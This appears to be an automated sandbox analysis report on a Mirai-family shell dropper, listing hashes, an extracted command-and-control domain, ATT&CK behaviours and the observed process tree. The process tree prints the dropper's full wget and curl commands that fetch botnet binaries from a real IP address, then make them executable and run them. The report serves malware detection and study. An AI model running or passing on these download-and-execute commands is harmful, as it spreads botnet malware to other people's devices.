Analysis
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max time kernel
134s -
max time network
145s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
18-12-2024 07:24
Static task
static1
Behavioral task
behavioral1
Sample
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh
Resource
debian9-mipsel-20240611-en
General
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Target
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh
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Size
2KB
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MD5
6636e230caa35294c1686f9b0048fea8
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SHA1
7f8a48a2f7265edc89660939ba2f30fee58eda26
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SHA256
ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe
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SHA512
015bf3df843972a2dc4b57e028fef4d3f6db361945a30b86d0d99cd1d572e6f4834030baec29c5a1dc247be60b6acdd126fc43874fb0cf903066c250da109615
Malware Config
Extracted
mirai
UNSTABLE
servers.vlrt-gap.com
Extracted
mirai
UNSTABLE
Extracted
mirai
UNSTABLE
servers.vlrt-gap.com
Signatures
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Mirai family
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File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 695 chmod 716 chmod 729 chmod 777 chmod 824 chmod 836 chmod 830 chmod 675 chmod 688 chmod 703 chmod 743 chmod 791 chmod 809 chmod -
Deletes itself 2 IoCs
pid Process 704 WTH 744 WTH -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WTH 677 WTH /tmp/WTH 689 WTH /tmp/WTH 696 WTH /tmp/WTH 704 WTH /tmp/WTH 718 WTH /tmp/WTH 730 WTH /tmp/WTH 744 WTH /tmp/WTH 779 WTH /tmp/WTH 793 WTH /tmp/WTH 810 WTH /tmp/WTH 826 WTH /tmp/WTH 831 WTH /tmp/WTH 837 WTH -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog WTH File opened for modification /dev/watchdog WTH File opened for modification /dev/misc/watchdog WTH File opened for modification /dev/watchdog WTH -
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp WTH -
Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog WTH File opened for modification /bin/watchdog WTH File opened for modification /sbin/watchdog WTH File opened for modification /bin/watchdog WTH -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself 4g0dtowm 704 WTH Changes the process name, possibly in an attempt to hide itself 2p0cu4eoom7pveju 744 WTH -
Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp WTH -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 686 cat 679 wget 684 curl -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/zmap.mips curl File opened for modification /tmp/zmap.mpsl curl File opened for modification /tmp/zmap.arm5 curl File opened for modification /tmp/zmap.spc curl File opened for modification /tmp/zmap.sh4 curl File opened for modification /tmp/zmap.x86 wget File opened for modification /tmp/zmap.mips wget File opened for modification /tmp/zmap.arm5 wget File opened for modification /tmp/zmap.arm6 wget File opened for modification /tmp/zmap.arm6 curl File opened for modification /tmp/zmap.ppc curl File opened for modification /tmp/zmap.m68k wget File opened for modification /tmp/zmap.i686 curl File opened for modification /tmp/WTH ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh File opened for modification /tmp/zmap.arc curl File opened for modification /tmp/zmap.sh4 wget File opened for modification /tmp/zmap.mpsl wget File opened for modification /tmp/zmap.arm wget File opened for modification /tmp/zmap.ppc wget File opened for modification /tmp/zmap.m68k curl File opened for modification /tmp/zmap.spc wget File opened for modification /tmp/zmap.x86 curl File opened for modification /tmp/zmap.arm7 wget File opened for modification /tmp/zmap.arm7 curl File opened for modification /tmp/zmap.arm curl
Processes
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/tmp/ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh/tmp/ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh1⤵
- Writes file to tmp directory
PID:650 -
/usr/bin/wgetwget http://185.196.11.47/zmap.x862⤵
- Writes file to tmp directory
PID:657
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:664
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/bin/catcat zmap.x862⤵PID:674
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.x862⤵
- File and Directory Permissions Modification
PID:675
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:677
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/usr/bin/wgetwget http://185.196.11.47/zmap.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:679
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:684
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/bin/catcat zmap.mips2⤵
- System Network Configuration Discovery
PID:686
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.mips zmap.x862⤵
- File and Directory Permissions Modification
PID:688
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:689
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/usr/bin/wgetwget http://185.196.11.47/zmap.mpsl2⤵
- Writes file to tmp directory
PID:692
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:693
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/bin/catcat zmap.mpsl2⤵PID:694
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.mips zmap.mpsl zmap.x862⤵
- File and Directory Permissions Modification
PID:695
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:696
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/usr/bin/wgetwget http://185.196.11.47/zmap.arm2⤵
- Writes file to tmp directory
PID:698
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:699
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/bin/catcat zmap.arm2⤵PID:702
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.mips zmap.mpsl zmap.x862⤵
- File and Directory Permissions Modification
PID:703
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Deletes itself
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
PID:704
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/usr/bin/wgetwget http://185.196.11.47/zmap.arm52⤵
- Writes file to tmp directory
PID:706
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:711
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/bin/catcat zmap.arm52⤵PID:715
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x862⤵
- File and Directory Permissions Modification
PID:716
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:718
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/usr/bin/wgetwget http://185.196.11.47/zmap.arm62⤵
- Writes file to tmp directory
PID:719
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:723
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/bin/catcat zmap.arm62⤵PID:727
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x862⤵
- File and Directory Permissions Modification
PID:729
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:730
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/usr/bin/wgetwget http://185.196.11.47/zmap.arm72⤵
- Writes file to tmp directory
PID:731
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:737
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/bin/catcat zmap.arm72⤵PID:741
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x862⤵
- File and Directory Permissions Modification
PID:743
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Deletes itself
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
PID:744
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/usr/bin/wgetwget http://185.196.11.47/zmap.ppc2⤵
- Writes file to tmp directory
PID:768
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:771
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/bin/catcat zmap.ppc2⤵PID:775
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x862⤵
- File and Directory Permissions Modification
PID:777
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:779
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/usr/bin/wgetwget http://185.196.11.47/zmap.m68k2⤵
- Writes file to tmp directory
PID:781
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:785
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/bin/catcat zmap.m68k2⤵PID:790
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh systemd-private-240a3117a79344cd8c777522777d3880-systemd-timedated.service-xFi89T WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x862⤵
- File and Directory Permissions Modification
PID:791
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:793
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/usr/bin/wgetwget http://185.196.11.47/zmap.spc2⤵
- Writes file to tmp directory
PID:795
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:802
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/bin/catcat zmap.spc2⤵PID:807
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x862⤵
- File and Directory Permissions Modification
PID:809
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:810
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/usr/bin/wgetwget http://185.196.11.47/zmap.i6862⤵PID:812
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:818
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/bin/catcat zmap.i6862⤵PID:823
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x862⤵
- File and Directory Permissions Modification
PID:824
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:826
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/usr/bin/wgetwget http://185.196.11.47/zmap.sh42⤵
- Writes file to tmp directory
PID:827
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:828
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/bin/catcat zmap.sh42⤵PID:829
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x862⤵
- File and Directory Permissions Modification
PID:830
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:831
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/usr/bin/wgetwget http://185.196.11.47/zmap.arc2⤵PID:833
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/usr/bin/curlcurl -O http://185.196.11.47/zmap.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:834
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/bin/catcat zmap.arc2⤵PID:835
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/bin/chmodchmod +x ef396d7d395c5c89f50f7ba25e77a438b37fb237b7a3a6e7cc39bb5db100e3fe.sh WTH zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x862⤵
- File and Directory Permissions Modification
PID:836
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/tmp/WTH./WTH zyxel.selfrep2⤵
- Executes dropped EXE
PID:837
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
94KB
MD58ae4ac18a3b34fba963f59a42ff02fb7
SHA1e9f75cf21972b2c953163d64d3cb89bd6a93cc1b
SHA256c485a846f4b7c5d410762291758175ca0775ca919da52ef05047f3000045020a
SHA512af6a9fb41fc94fdb3c1448e2477190f403b14eca2502e93c1ab6a1c8cf0eaada47dedd81df94f15bc6efa8ae29d68f3a6368c67283514c88f3f8e28519bf6bb0
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Filesize
94KB
MD5d81e9564b8b9d62d70bda936d927d875
SHA142706a08b0545984ed5a5cfbdff3fe2ab62ca552
SHA256c14fead55aee69ec760fdba5f5371922595ad9df3c7201feb088f322043def0d
SHA512282a8641c62e67b1bde30e1bfbd991493c38155b6dfdb5406a80d69b7b710bfe27fdbe5571363c3f55e2fbb0a447db3789c5609493e24daef3260c2d87417886
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Filesize
74KB
MD59784e8db8dae548a6593644e3a168579
SHA1afa7c4ce4b0122ec5f22dc37aa7658f41cb01008
SHA2564278fcf8ef5692822cc5eccce4857b5132f8d029949b83925a7a1e6f5c969129
SHA5127f48ae6e910f87f70995c6373083c534670e2f66310e51e8a0b43bc01a31327e33a992b3ad50bc4956e4c9fb3c0845e6ca6aca2dbb014e66487a8338efe2eb6c
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Filesize
49KB
MD5241482e2337afd65af97770b37d5c90d
SHA1c52137309238b4f1badf1e7bf01197bc48cd00fc
SHA25601d39c861837c2f70e59a1e0af94249269813cfa8dc2696d095d36db84fcf7ca
SHA512cf3fbd84e7664d26a5cdbec8fb195d28438aca00c62b3428fd6d4c4ab7cb781d5816afa6eb046def918efc73059192683ba313c06fec2231cc6cff8610d29a00
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Filesize
152KB
MD5f51e09e21e26b88091e5817482391af9
SHA135ac89537e69e933a9412877638edd2ddaf48195
SHA256ff15bf021c5804b34110ecab8a8c86dd399c60b246cb626f536a000b26b27e96
SHA51213a46b95db2323015267dd034bde6b2517ea447d091ba7b702aa249ea7172d876156554387b9a5640490b97217f48f843b28f00f65fdc45948a93fbbdb5dd1c3
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Filesize
61KB
MD5d1f752879420a6d45d76f130281392d6
SHA146a92c0efae33b8a826dc48daa3dbf3d30be4a15
SHA2564fc42ee2d91d577e0bcc49c27d5f3936584ad49c27b5032baa57a6c6e53b4914
SHA51291e7beb1157bf75f4e73459eb2ab003005aa591848698451ee6dc79764570bf2d8a253c25dda6346b657367844048cd21be38b6485d169e373e8455b2d586225